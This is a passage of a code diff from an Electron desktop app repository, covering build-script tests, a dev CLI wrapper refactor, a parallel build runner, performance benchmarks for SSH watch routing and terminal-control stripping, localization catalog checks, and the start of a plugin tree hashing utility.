expect(result.stdout.trimEnd().split('\n')).toHaveLength(1)
|
||||
expect(existsSync(result.stdout.trim())).toBe(true)
|
||||
}, 120_000)
|
||||
|
||||
// Why a cold cache with VITEST unset: app-builder-lib prints download
|
||||
// progress to stdout, and builder-util suppresses that logging under Vitest —
|
||||
// so an inherited VITEST makes this exact failure invisible. `$7za = (node
|
||||
// ...).Trim()` would otherwise receive two lines and the gate would break on
|
||||
// any runner whose toolset cache was evicted or repaired.
|
||||
it('keeps stdout to one path even when the toolset cache is cold', () => {
|
||||
const cache = mkdtempSync(join(tmpdir(), 'orca 7za cold cache '))
|
||||
try {
|
||||
const { VITEST: _vitest, ...envWithoutVitest } = process.env
|
||||
const result = spawnSync(process.execPath, ['config/scripts/resolve-7za-path.mjs'], {
|
||||
cwd: projectRoot,
|
||||
encoding: 'utf8',
|
||||
env: { ...envWithoutVitest, ELECTRON_BUILDER_CACHE: cache },
|
||||
timeout: 300_000
|
||||
})
|
||||
|
||||
expect(result.status).toBe(0)
|
||||
const lines = result.stdout.trimEnd().split('\n')
|
||||
expect(lines).toHaveLength(1)
|
||||
expect(existsSync(lines[0])).toBe(true)
|
||||
} finally {
|
||||
rmSync(cache, { recursive: true, force: true })
|
||||
}
|
||||
}, 300_000)
|
||||
})
|
||||
@@ -1,7 +1,6 @@
|
||||
import { execFileSync, spawn } from 'node:child_process'
|
||||
import { createHash } from 'node:crypto'
|
||||
import {
|
||||
chmodSync,
|
||||
cpSync,
|
||||
existsSync,
|
||||
lstatSync,
|
||||
@@ -17,6 +16,7 @@ import {
|
||||
import net from 'node:net'
|
||||
import { createRequire } from 'node:module'
|
||||
import path from 'node:path'
|
||||
import { prepareDevCliTerminalWrappers } from './dev-cli-terminal-wrapper.mjs'
|
||||
|
||||
// Why: Electron-based hosts (e.g. Claude Code, VS Code) set
|
||||
// ELECTRON_RUN_AS_NODE=1 in their terminal environment. If this leaks into
|
||||
@@ -314,35 +314,12 @@ function getDevUserDataPath() {
|
||||
}
|
||||
|
||||
function prepareDevCliWrapper() {
|
||||
const binDir = path.join(repoRoot, 'out', 'bin')
|
||||
mkdirSync(binDir, { recursive: true })
|
||||
const userDataPath = getDevUserDataPath()
|
||||
const userDataBinDir = path.join(userDataPath, 'cli', 'bin')
|
||||
const cliPath = path.join(repoRoot, 'out', 'cli', 'index.js')
|
||||
const electronBin = getElectronExecutable()
|
||||
|
||||
if (process.platform === 'win32') {
|
||||
writeFileSync(
|
||||
path.join(binDir, 'orca-dev.cmd'),
|
||||
`@echo off\r\nset "ORCA_USER_DATA_PATH=${userDataPath}"\r\nset "ORCA_APP_EXECUTABLE=${electronBin}"\r\nset "ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1"\r\nnode "${cliPath}" %*\r\n`,
|
||||
'utf8'
|
||||
)
|
||||
} else {
|
||||
const wrapperContent = `#!/usr/bin/env bash\nexport ORCA_USER_DATA_PATH=${JSON.stringify(userDataPath)}\nexport ORCA_APP_EXECUTABLE=${JSON.stringify(electronBin)}\nexport ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1\nexec node ${JSON.stringify(cliPath)} "$@"\n`
|
||||
const wrapperPath = path.join(binDir, 'orca-dev')
|
||||
writeFileSync(wrapperPath, wrapperContent, 'utf8')
|
||||
chmodSync(wrapperPath, 0o755)
|
||||
|
||||
mkdirSync(userDataBinDir, { recursive: true })
|
||||
for (const commandName of ['orca-dev', 'orca']) {
|
||||
const userDataWrapperPath = path.join(userDataBinDir, commandName)
|
||||
// Why: dev Orca terminals prepend this directory to PATH; refreshing the
|
||||
// `orca` alias prevents stale global/userData wrappers from hijacking
|
||||
// Orca-owned commands such as `orca claude-teams`.
|
||||
writeFileSync(userDataWrapperPath, wrapperContent, 'utf8')
|
||||
chmodSync(userDataWrapperPath, 0o755)
|
||||
}
|
||||
}
|
||||
const { binDir } = prepareDevCliTerminalWrappers({
|
||||
repoRoot,
|
||||
userDataPath,
|
||||
electronExecutable: getElectronExecutable()
|
||||
})
|
||||
|
||||
process.env.PATH = `${binDir}${path.delimiter}${process.env.PATH ?? ''}`
|
||||
console.log(`[orca-dev] Prepared wrapper in ${binDir}`)
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
import { spawn } from 'node:child_process'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
const buildScript = fileURLToPath(new URL('./run-electron-vite-build.mjs', import.meta.url))
|
||||
const targetConfig = fileURLToPath(new URL('../electron-vite-target.config.ts', import.meta.url))
|
||||
const targets = ['main', 'preload', 'renderer']
|
||||
|
||||
function buildTarget(target) {
|
||||
return new Promise((resolve, reject) => {
|
||||
const child = spawn(
|
||||
process.execPath,
|
||||
[buildScript, '--config', targetConfig, '--ignoreConfigWarning'],
|
||||
{
|
||||
stdio: 'inherit',
|
||||
env: {
|
||||
...process.env,
|
||||
ORCA_ELECTRON_VITE_TARGET: target
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
child.on('error', reject)
|
||||
child.on('exit', (code, signal) => {
|
||||
if (signal) {
|
||||
reject(new Error(`Electron Vite ${target} build exited with signal ${signal}`))
|
||||
} else if (code !== 0) {
|
||||
reject(new Error(`Electron Vite ${target} build exited with code ${code}`))
|
||||
} else {
|
||||
resolve()
|
||||
}
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
const results = await Promise.allSettled(targets.map(buildTarget))
|
||||
const failures = results.filter((result) => result.status === 'rejected')
|
||||
|
||||
if (failures.length > 0) {
|
||||
for (const failure of failures) {
|
||||
console.error(failure.reason)
|
||||
}
|
||||
process.exit(1)
|
||||
}
|
||||
@@ -0,0 +1,190 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: routing one `fs.changed` relay notification to SSH watch registrations.
|
||||
//
|
||||
// routeSshFilesystemWatchNotification called isPathInsideOrEqual(root, event.path)
|
||||
// for every (registration x event) pair. That helper NFC-normalizes BOTH sides, so
|
||||
// each event path was re-normalized once per watch root, and each root was
|
||||
// re-normalized once per event -- O(roots * events) normalizations for what is
|
||||
// O(roots + events) distinct work.
|
||||
//
|
||||
// The fix normalizes each event path once up front and builds one pre-normalized
|
||||
// matcher per root, leaving only string compare in the inner loop.
|
||||
//
|
||||
// This is a hot path on SSH: the relay watcher batches up to MAX_BATCHED_WATCHER_EVENTS
|
||||
// per notify, and a single `git checkout` or `pnpm install` on the remote host emits
|
||||
// thousands of paths through it.
|
||||
//
|
||||
// Both arms are run against the same inputs and their outputs are compared before
|
||||
// timing, so a matcher that changed which events route where cannot be reported as
|
||||
// a win. The normalizer is imported from the real module (via tsx) rather than
|
||||
// re-modelled here, so folding-rule drift cannot silently invalidate the result.
|
||||
import { execFileSync } from 'node:child_process'
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
const REPO_ROOT = fileURLToPath(new URL('../..', import.meta.url))
|
||||
const ITERATIONS = Number(process.env.ORCA_SSH_WATCH_BENCH_ITERATIONS ?? '200')
|
||||
const WARMUP = Number(process.env.ORCA_SSH_WATCH_BENCH_WARMUP ?? '30')
|
||||
|
||||
for (const [name, value] of [
|
||||
['ORCA_SSH_WATCH_BENCH_ITERATIONS', ITERATIONS],
|
||||
['ORCA_SSH_WATCH_BENCH_WARMUP', WARMUP]
|
||||
]) {
|
||||
if (!Number.isSafeInteger(value) || value <= 0) {
|
||||
throw new Error(`${name} must be a positive integer, received ${value}`)
|
||||
}
|
||||
}
|
||||
|
||||
// Why re-read the source: this benchmark's whole claim is that the normalizer is
|
||||
// the expensive part. If someone makes it cheap (or drops the NFC fold), the
|
||||
// numbers below stop meaning what the header says, so fail loudly instead.
|
||||
const PATH_SOURCE = readFileSync(
|
||||
new URL('../../src/shared/cross-platform-path.ts', import.meta.url),
|
||||
'utf8'
|
||||
)
|
||||
for (const marker of ['normalize(', 'createNormalizedPathInsideOrEqualMatcher']) {
|
||||
if (!PATH_SOURCE.includes(marker)) {
|
||||
throw new Error(`cross-platform-path.ts no longer contains ${marker}; this benchmark is stale`)
|
||||
}
|
||||
}
|
||||
|
||||
// Import the real normalizer so both arms fold paths exactly as production does.
|
||||
const {
|
||||
normalizeRuntimePathForComparison,
|
||||
isPathInsideOrEqual,
|
||||
createNormalizedPathInsideOrEqualMatcher
|
||||
} = await import(new URL('../../src/shared/cross-platform-path.ts', import.meta.url).href)
|
||||
|
||||
// Pre-fix: mirrors the original routeSshFilesystemWatchNotification inner loop.
|
||||
function routeBefore(roots, events, sink) {
|
||||
for (const rootPath of roots) {
|
||||
const matching = events.filter((event) => isPathInsideOrEqual(rootPath, event.absolutePath))
|
||||
if (matching.length > 0) {
|
||||
sink(rootPath, matching)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Post-fix: mirrors the current implementation.
|
||||
function routeAfter(roots, events, sink) {
|
||||
const normalizedEvents = events.map((event) => ({
|
||||
event,
|
||||
normalizedPath: normalizeRuntimePathForComparison(event.absolutePath)
|
||||
}))
|
||||
for (const rootPath of roots) {
|
||||
const isInsideRoot = createNormalizedPathInsideOrEqualMatcher(rootPath)
|
||||
const matching = normalizedEvents
|
||||
.filter(({ normalizedPath }) => isInsideRoot(normalizedPath))
|
||||
.map(({ event }) => event)
|
||||
if (matching.length > 0) {
|
||||
sink(rootPath, matching)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Why real repo paths: path length and segment count drive normalization cost, and
|
||||
// a synthetic `/a/b/c` fixture would understate it against real source trees.
|
||||
const REPO_PATHS = execFileSync('git', ['ls-files'], {
|
||||
cwd: REPO_ROOT,
|
||||
maxBuffer: 256 * 1024 * 1024
|
||||
})
|
||||
.toString()
|
||||
.split('\n')
|
||||
.filter(Boolean)
|
||||
|
||||
// A remote host running several worktrees: each is its own watch root, and the
|
||||
// file explorer plus the worktree-base-directory watcher both register.
|
||||
function makeRoots(count) {
|
||||
return Array.from({ length: count }, (_, index) => `/home/dev/worktrees/orca-${index}`)
|
||||
}
|
||||
|
||||
function makeEvents(roots, count) {
|
||||
const events = []
|
||||
for (let index = 0; index < count; index += 1) {
|
||||
// Spread events across roots so most roots match some events, as a real
|
||||
// multi-worktree checkout does. Paths outside any root also occur (node_modules
|
||||
// of a sibling checkout), so include a slice of those too.
|
||||
const root = index % 11 === 0 ? '/home/dev/other-checkout' : roots[index % roots.length]
|
||||
events.push({
|
||||
kind: 'update',
|
||||
absolutePath: `${root}/${REPO_PATHS[index % REPO_PATHS.length]}`
|
||||
})
|
||||
}
|
||||
return events
|
||||
}
|
||||
|
||||
function collect(roots, events, route) {
|
||||
const seen = []
|
||||
route(roots, events, (rootPath, matching) =>
|
||||
seen.push(`${rootPath} ${matching.map((event) => event.absolutePath).join(',')}`)
|
||||
)
|
||||
return seen.join('\n')
|
||||
}
|
||||
|
||||
// Why interleaved: running one arm's whole batch before the other's lets CPU
|
||||
// frequency drift and background load correlate with the arm being measured. On a
|
||||
// loaded machine that alone swung the 12x200 row between 6.7x and 23.3x. Alternating
|
||||
// per round and taking per-arm medians keeps the drift common to both.
|
||||
function measureInterleaved(roots, events) {
|
||||
const noop = () => undefined
|
||||
for (let index = 0; index < WARMUP; index += 1) {
|
||||
routeBefore(roots, events, noop)
|
||||
routeAfter(roots, events, noop)
|
||||
}
|
||||
const beforeSamples = []
|
||||
const afterSamples = []
|
||||
for (let round = 0; round < 5; round += 1) {
|
||||
let start = performance.now()
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
routeBefore(roots, events, noop)
|
||||
}
|
||||
beforeSamples.push((performance.now() - start) / ITERATIONS)
|
||||
|
||||
start = performance.now()
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
routeAfter(roots, events, noop)
|
||||
}
|
||||
afterSamples.push((performance.now() - start) / ITERATIONS)
|
||||
}
|
||||
beforeSamples.sort((a, b) => a - b)
|
||||
afterSamples.sort((a, b) => a - b)
|
||||
return { beforeMs: beforeSamples[2], afterMs: afterSamples[2] }
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('SSH fs.changed fan-out, per relay notification. Lower is better.')
|
||||
console.log(`iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`)
|
||||
console.log(
|
||||
`${pad('roots', 6)} ${pad('events', 7)} ${pad('per-pair', 11)} ${pad('hoisted', 11)} ${pad('speedup', 9)}`
|
||||
)
|
||||
|
||||
// roots x events: 3x20 is a typical few-worktree session with a small save; the
|
||||
// larger rows are a remote `git checkout` or `pnpm install` storm, which the relay
|
||||
// batches up to MAX_BATCHED_WATCHER_EVENTS (5,000) per notification.
|
||||
for (const [rootCount, eventCount] of [
|
||||
[3, 20],
|
||||
[6, 50],
|
||||
[12, 200],
|
||||
[25, 500],
|
||||
[25, 5000]
|
||||
]) {
|
||||
const roots = makeRoots(rootCount)
|
||||
const events = makeEvents(roots, eventCount)
|
||||
const before = collect(roots, events, routeBefore)
|
||||
const after = collect(roots, events, routeAfter)
|
||||
if (before !== after) {
|
||||
throw new Error(`routing differs at ${rootCount} roots x ${eventCount} events`)
|
||||
}
|
||||
if (!before.includes(' ')) {
|
||||
throw new Error(`fixture routed nothing at ${rootCount} roots x ${eventCount} events`)
|
||||
}
|
||||
const { beforeMs, afterMs } = measureInterleaved(roots, events)
|
||||
console.log(
|
||||
`${pad(rootCount, 6)} ${pad(eventCount, 7)} ${pad(`${beforeMs.toFixed(3)} ms`, 11)} ${pad(`${afterMs.toFixed(3)} ms`, 11)} ${pad(`${(beforeMs / afterMs).toFixed(1)}x`, 9)}`
|
||||
)
|
||||
}
|
||||
|
||||
console.log(
|
||||
'\nThis times routing only. The saving scales with roots x events, so it is small\nfor a single-worktree session and largest during a remote checkout storm, which\nis exactly when the main process is already busy.'
|
||||
)
|
||||
@@ -0,0 +1,202 @@
|
||||
#!/usr/bin/env node
|
||||
// Mirrors the complete pre/post stripTerminalControl paths at their production size caps.
|
||||
import { performance } from 'node:perf_hooks'
|
||||
|
||||
const ESC = String.fromCharCode(0x1b)
|
||||
const BEL = String.fromCharCode(0x07)
|
||||
const ANSI_ESCAPE_RE = new RegExp(
|
||||
`${ESC}(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~]|\\][^${BEL}]*(?:${BEL}|${ESC}\\\\))`,
|
||||
'g'
|
||||
)
|
||||
const INCOMPLETE_ANSI_ESCAPE_RE = new RegExp(
|
||||
`${ESC}(?:\\[[0-?]*[ -/]*|\\][^${BEL}${ESC}]*|\\S?)?$`,
|
||||
'g'
|
||||
)
|
||||
const HISTORY_LIMIT = 300
|
||||
const SCAN_LIMIT = 4096
|
||||
const SAMPLE_ID_LENGTH = 24
|
||||
const ITERATIONS = Number(process.env.ORCA_STRIP_BENCH_ITERATIONS ?? '501')
|
||||
let resultChecksum = 0
|
||||
let validatedPairs = 0
|
||||
|
||||
if (!Number.isSafeInteger(ITERATIONS) || ITERATIONS <= 0) {
|
||||
throw new Error(`ORCA_STRIP_BENCH_ITERATIONS must be a positive integer, got ${ITERATIONS}`)
|
||||
}
|
||||
|
||||
function isStrippedCode(code) {
|
||||
return (code <= 0x1f && code !== 0x0a && code !== 0x0d) || (code >= 0x7f && code <= 0x9f)
|
||||
}
|
||||
|
||||
function terminalControlMayAffectText(data) {
|
||||
for (let index = 0; index < data.length; index += 1) {
|
||||
const code = data.charCodeAt(index)
|
||||
if (
|
||||
code === 0x0d ||
|
||||
code === 0x1b ||
|
||||
(code <= 0x1f && code !== 0x0a) ||
|
||||
(code >= 0x7f && code <= 0x9f)
|
||||
) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
function stripPerChar(data) {
|
||||
if (!terminalControlMayAffectText(data)) {
|
||||
return data
|
||||
}
|
||||
const withoutAnsi = data.replace(ANSI_ESCAPE_RE, '').replace(INCOMPLETE_ANSI_ESCAPE_RE, '')
|
||||
let output = ''
|
||||
for (let index = 0; index < withoutAnsi.length; index += 1) {
|
||||
if (isStrippedCode(withoutAnsi.charCodeAt(index))) {
|
||||
continue
|
||||
}
|
||||
output += withoutAnsi[index]
|
||||
}
|
||||
return output
|
||||
}
|
||||
|
||||
function stripSliceRuns(data) {
|
||||
if (!terminalControlMayAffectText(data)) {
|
||||
return data
|
||||
}
|
||||
const withoutAnsi = data.replace(ANSI_ESCAPE_RE, '').replace(INCOMPLETE_ANSI_ESCAPE_RE, '')
|
||||
let output = ''
|
||||
let runStart = 0
|
||||
for (let index = 0; index < withoutAnsi.length; index += 1) {
|
||||
if (isStrippedCode(withoutAnsi.charCodeAt(index))) {
|
||||
if (index > runStart) {
|
||||
output += withoutAnsi.slice(runStart, index)
|
||||
}
|
||||
runStart = index + 1
|
||||
}
|
||||
}
|
||||
return runStart === 0 ? withoutAnsi : output + withoutAnsi.slice(runStart)
|
||||
}
|
||||
|
||||
function fixedSampleId(sampleId) {
|
||||
return `sample:${sampleId}`.padEnd(SAMPLE_ID_LENGTH, '_').slice(0, SAMPLE_ID_LENGTH)
|
||||
}
|
||||
|
||||
function makeTuiFixture(length, sampleId, strippedControl) {
|
||||
const lines = [
|
||||
`${strippedControl}\x1b[35m✻ Thinking...\x1b[0m\r\n`,
|
||||
' ⏺ Running tests... 42 passed, 0 failed\r\n'
|
||||
]
|
||||
let text = `${fixedSampleId(sampleId)}\r\n`
|
||||
for (let lineIndex = 0; ; lineIndex += 1) {
|
||||
const next = lines[lineIndex % lines.length]
|
||||
if (text.length + next.length > length) {
|
||||
break
|
||||
}
|
||||
text += next
|
||||
}
|
||||
return text + 'x'.repeat(length - text.length)
|
||||
}
|
||||
|
||||
function makeDenseFixture(length, sampleId, strippedControl) {
|
||||
const prefix = `\x1b[35m${fixedSampleId(sampleId)}`
|
||||
const suffix = '\x1b[0m'
|
||||
const bodyLength = length - prefix.length - suffix.length
|
||||
const body = `x${strippedControl}`.repeat(Math.floor(bodyLength / 2))
|
||||
return `${prefix}${body}${bodyLength % 2 === 0 ? '' : 'x'}${suffix}`
|
||||
}
|
||||
|
||||
function median(samples) {
|
||||
const sorted = [...samples].sort((a, b) => a - b)
|
||||
const middle = Math.floor(sorted.length / 2)
|
||||
return sorted.length % 2 === 0 ? (sorted[middle - 1] + sorted[middle]) / 2 : sorted[middle]
|
||||
}
|
||||
|
||||
function measure(strip, fixture) {
|
||||
const start = performance.now()
|
||||
const output = strip(fixture)
|
||||
return { elapsed: performance.now() - start, output }
|
||||
}
|
||||
|
||||
function consumeOutput(output) {
|
||||
resultChecksum = Math.imul(resultChecksum ^ output.length, 16777619) >>> 0
|
||||
resultChecksum ^= output.charCodeAt(Math.floor(output.length / 2))
|
||||
}
|
||||
|
||||
function recordPair(fixture, sampleId, perCharFirst, samples) {
|
||||
const perCharFixture = fixture.make(sampleId, perCharFirst ? '\x01' : '\x02')
|
||||
const sliceRunsFixture = fixture.make(sampleId, perCharFirst ? '\x02' : '\x01')
|
||||
if (
|
||||
perCharFixture === sliceRunsFixture ||
|
||||
perCharFixture.length !== fixture.length ||
|
||||
sliceRunsFixture.length !== fixture.length
|
||||
) {
|
||||
throw new Error(`invalid inputs for ${fixture.label}, sample ${sampleId}`)
|
||||
}
|
||||
let perCharResult
|
||||
let sliceRunsResult
|
||||
if (perCharFirst) {
|
||||
perCharResult = measure(stripPerChar, perCharFixture)
|
||||
sliceRunsResult = measure(stripSliceRuns, sliceRunsFixture)
|
||||
} else {
|
||||
sliceRunsResult = measure(stripSliceRuns, sliceRunsFixture)
|
||||
perCharResult = measure(stripPerChar, perCharFixture)
|
||||
}
|
||||
if (perCharResult.output !== sliceRunsResult.output) {
|
||||
throw new Error(`strip mismatch for ${fixture.label}, sample ${sampleId}`)
|
||||
}
|
||||
consumeOutput(perCharResult.output)
|
||||
consumeOutput(sliceRunsResult.output)
|
||||
validatedPairs += 1
|
||||
samples.perChar.push(perCharResult.elapsed)
|
||||
samples.sliceRuns.push(sliceRunsResult.elapsed)
|
||||
}
|
||||
|
||||
const denseBodyLength = SCAN_LIMIT - '\x1b[35m'.length - SAMPLE_ID_LENGTH - '\x1b[0m'.length
|
||||
const denseControlPercent = ((Math.floor(denseBodyLength / 2) / SCAN_LIMIT) * 100).toFixed(1)
|
||||
const fixtures = [
|
||||
{
|
||||
label: `${HISTORY_LIMIT} history TUI`,
|
||||
length: HISTORY_LIMIT,
|
||||
make: (sampleId, control) => makeTuiFixture(HISTORY_LIMIT, sampleId, control)
|
||||
},
|
||||
{
|
||||
label: `${HISTORY_LIMIT + 1} boundary TUI`,
|
||||
length: HISTORY_LIMIT + 1,
|
||||
make: (sampleId, control) => makeTuiFixture(HISTORY_LIMIT + 1, sampleId, control)
|
||||
},
|
||||
{
|
||||
label: `${SCAN_LIMIT} scan TUI`,
|
||||
length: SCAN_LIMIT,
|
||||
make: (sampleId, control) => makeTuiFixture(SCAN_LIMIT, sampleId, control)
|
||||
},
|
||||
{
|
||||
label: `${SCAN_LIMIT} scan ${denseControlPercent}% C0`,
|
||||
length: SCAN_LIMIT,
|
||||
make: (sampleId, control) => makeDenseFixture(SCAN_LIMIT, sampleId, control)
|
||||
}
|
||||
]
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('Complete stripTerminalControl path. Lower is better.')
|
||||
console.log(
|
||||
`iterations=${ITERATIONS} (${ITERATIONS * 2} first-touch samples/implementation, counterbalanced median)`
|
||||
)
|
||||
console.log(
|
||||
`${pad('fixture', 25)} ${pad('per-char', 11)} ${pad('slice runs', 12)} ${pad('speedup', 9)}`
|
||||
)
|
||||
|
||||
for (const fixture of fixtures) {
|
||||
const samples = { perChar: [], sliceRuns: [] }
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
const orders = index % 2 === 0 ? [true, false] : [false, true]
|
||||
for (const perCharFirst of orders) {
|
||||
const orderLabel = perCharFirst ? 'per-first' : 'slice-first'
|
||||
recordPair(fixture, `${index}:${orderLabel}`, perCharFirst, samples)
|
||||
}
|
||||
}
|
||||
const perChar = median(samples.perChar)
|
||||
const sliceRuns = median(samples.sliceRuns)
|
||||
console.log(
|
||||
`${pad(fixture.label, 25)} ${pad(`${(perChar * 1000).toFixed(1)} us`, 11)} ${pad(`${(sliceRuns * 1000).toFixed(1)} us`, 12)} ${pad(`${(perChar / sliceRuns).toFixed(2)}x`, 9)}`
|
||||
)
|
||||
}
|
||||
console.log(`\nvalidated=${validatedPairs} measured pairs, result checksum=${resultChecksum >>> 0}`)
|
||||
console.log('Production calls are bounded to 4096, 4096, 300, and 301 code units.')
|
||||
@@ -385,15 +385,79 @@ function verifyLocaleParity(enCatalog, localeName, localeCatalog) {
|
||||
}
|
||||
|
||||
function parseArgs(argv) {
|
||||
return {
|
||||
fix: argv.includes('--fix')
|
||||
const pluginCatalogs = []
|
||||
for (let index = 0; index < argv.length; index += 1) {
|
||||
const argument = argv[index]
|
||||
if (argument === '--plugin-catalog') {
|
||||
const catalogPath = argv[index + 1]
|
||||
if (!catalogPath || catalogPath.startsWith('--')) {
|
||||
throw new Error('--plugin-catalog requires a JSON catalog path')
|
||||
}
|
||||
pluginCatalogs.push(catalogPath)
|
||||
index += 1
|
||||
} else if (argument.startsWith('--plugin-catalog=')) {
|
||||
pluginCatalogs.push(argument.slice('--plugin-catalog='.length))
|
||||
}
|
||||
}
|
||||
return {
|
||||
fix: argv.includes('--fix'),
|
||||
pluginCatalogs
|
||||
}
|
||||
}
|
||||
|
||||
async function reportPluginCatalog(root, catalog, pluginCatalogPath) {
|
||||
const resolvedPath = path.resolve(root, pluginCatalogPath)
|
||||
let pluginCatalog
|
||||
try {
|
||||
pluginCatalog = JSON.parse(await fs.readFile(resolvedPath, 'utf8'))
|
||||
} catch (error) {
|
||||
console.error(
|
||||
`Could not read plugin catalog ${normalizePath(root, resolvedPath)}: ${error instanceof Error ? error.message : String(error)}`
|
||||
)
|
||||
return 1
|
||||
}
|
||||
const { enEntries, localeEntries, missingInLocale, extraInLocale, interpolationMismatches } =
|
||||
collectLocaleParityIssues(catalog, pluginCatalog)
|
||||
const translated = enEntries.size - missingInLocale.length - interpolationMismatches.length
|
||||
const coverage = enEntries.size === 0 ? 100 : (translated / enEntries.size) * 100
|
||||
console.log(
|
||||
`Plugin catalog ${normalizePath(root, resolvedPath)}: ${translated}/${enEntries.size} core keys (${coverage.toFixed(1)}% coverage), ${localeEntries.size} catalog entries.`
|
||||
)
|
||||
if (missingInLocale.length > 0) {
|
||||
console.log(formatMissingKeys('missing', missingInLocale.slice(0, 20)))
|
||||
if (missingInLocale.length > 20) {
|
||||
console.log(`...and ${missingInLocale.length - 20} more missing keys`)
|
||||
}
|
||||
}
|
||||
if (extraInLocale.length > 0) {
|
||||
console.log(formatMissingKeys('extra', extraInLocale.slice(0, 20)))
|
||||
}
|
||||
if (interpolationMismatches.length > 0) {
|
||||
console.log(formatMissingKeys('interpolation mismatch', interpolationMismatches.slice(0, 20)))
|
||||
}
|
||||
// Why: absent plugin translations safely fall back to English, but a present
|
||||
// value with different variables can render broken or misleading UI.
|
||||
return interpolationMismatches.length > 0 ? 1 : 0
|
||||
}
|
||||
|
||||
export async function main(root = process.cwd(), options = parseArgs(process.argv.slice(2))) {
|
||||
const localesDir = path.join(root, LOCALES_RELATIVE_DIR)
|
||||
const catalogPath = path.join(localesDir, 'en.json')
|
||||
const catalog = JSON.parse(await fs.readFile(catalogPath, 'utf8'))
|
||||
const pluginCatalogs = options.pluginCatalogs ?? []
|
||||
if (pluginCatalogs.length > 0) {
|
||||
if (options.fix) {
|
||||
console.error('--fix cannot be combined with --plugin-catalog')
|
||||
return 1
|
||||
}
|
||||
for (const pluginCatalogPath of pluginCatalogs) {
|
||||
const result = await reportPluginCatalog(root, catalog, pluginCatalogPath)
|
||||
if (result !== 0) {
|
||||
return result
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
let catalogKeys = new Set(flattenCatalogKeys(catalog))
|
||||
const sourceRoots = SOURCE_RELATIVE_ROOTS.map((sourceRoot) => path.join(root, sourceRoot))
|
||||
const references = []
|
||||
|
||||
@@ -2,7 +2,7 @@ import { mkdirSync, mkdtempSync, readFileSync, writeFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import path from 'node:path'
|
||||
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { main as verifyLocalizationCatalog } from './verify-localization-catalog.mjs'
|
||||
|
||||
@@ -79,4 +79,34 @@ describe('verify-localization-catalog', () => {
|
||||
await expect(verifyLocalizationCatalog(root, { fix: true })).resolves.toBe(1)
|
||||
expect(readJson(path.join(localesDir, 'en.json'))).toEqual({})
|
||||
})
|
||||
|
||||
it('reports partial plugin catalog gaps but rejects malformed interpolation', async () => {
|
||||
const { root } = makeProject({
|
||||
sourceText: 'export {}\n',
|
||||
enCatalog: {
|
||||
auto: { first: 'First {{name}}', second: 'Second' }
|
||||
},
|
||||
esCatalog: {
|
||||
auto: { first: 'Primero {{name}}', second: 'Segundo' }
|
||||
}
|
||||
})
|
||||
const pluginCatalogPath = path.join(root, 'plugin-locale.json')
|
||||
writeJson(pluginCatalogPath, {
|
||||
auto: { first: 'Primeiro {{wrongName}}', pluginOnly: 'Plugin only' }
|
||||
})
|
||||
const report = vi.spyOn(console, 'log').mockImplementation(() => undefined)
|
||||
|
||||
try {
|
||||
await expect(
|
||||
verifyLocalizationCatalog(root, {
|
||||
fix: false,
|
||||
pluginCatalogs: [pluginCatalogPath]
|
||||
})
|
||||
).resolves.toBe(1)
|
||||
expect(report).toHaveBeenCalledWith(expect.stringContaining('0/2 core keys'))
|
||||
expect(report).toHaveBeenCalledWith(expect.stringContaining('interpolation mismatch'))
|
||||
} finally {
|
||||
report.mockRestore()
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
@@ -0,0 +1,111 @@
|
||||
const { createHash } = require('node:crypto')
|
||||
const { lstatSync, readFileSync, readdirSync, statSync } = require('node:fs')
|
||||
const { isAbsolute, join, relative, resolve, sep } = require('node:path')
|
||||
|
||||
const MAX_PLUGIN_FILES = 2_000
|
||||
const MAX_PLUGIN_TOTAL_BYTES = 50 * 1024 * 1024
|
||||
|
||||
function hashLength(hash, length) {
|
||||
const framedLength = Buffer.allocUnsafe(8)
|
||||
framedLength.writeBigUInt64BE(BigInt(length))
|
||||
hash.update(framedLength)
|
||||
}
|
||||
|
||||
function hashPackagedPluginTree(root) {
|
||||
const files = []
|
||||
let entriesVisited = 0
|
||||
let totalBytes = 0
|
||||
const visit = (directory) => {
|
||||
const entries = readdirSync(directory, { withFileTypes: true }).sort((left, right) =>
|
||||
left.name < right.name ? -1 : left.name > right.name ? 1 : 0
|
||||
)
|
||||
for (const entry of entries) {
|
||||
if (directory === root && entry.name === '.git') {
|
||||
continue
|
||||
}
|
||||
const entryPath = join(directory, entry.name)
|
||||
const metadata = lstatSync(entryPath)
|
||||
entriesVisited += 1
|
||||
if (entriesVisited > MAX_PLUGIN_FILES) {
|
||||
throw new Error(`plugin exceeds the ${MAX_PLUGIN_FILES}-entry limit`)
|
||||
}
|
||||
if (metadata.isSymbolicLink()) {
|
||||
throw new Error(`packaged plugin contains a symlink: ${relative(root, entryPath)}`)
|
||||
}
|
||||
if (metadata.isDirectory()) {
|
||||
visit(entryPath)
|
||||
} else if (metadata.isFile()) {
|
||||
totalBytes += metadata.size
|
||||
if (totalBytes > MAX_PLUGIN_TOTAL_BYTES) {
|
||||
throw new Error(`plugin exceeds the ${MAX_PLUGIN_TOTAL_BYTES}-byte limit`)
|
||||
}
|
||||
files.push({ path: entryPath, size: metadata.size })
|
||||
} else {
|
||||
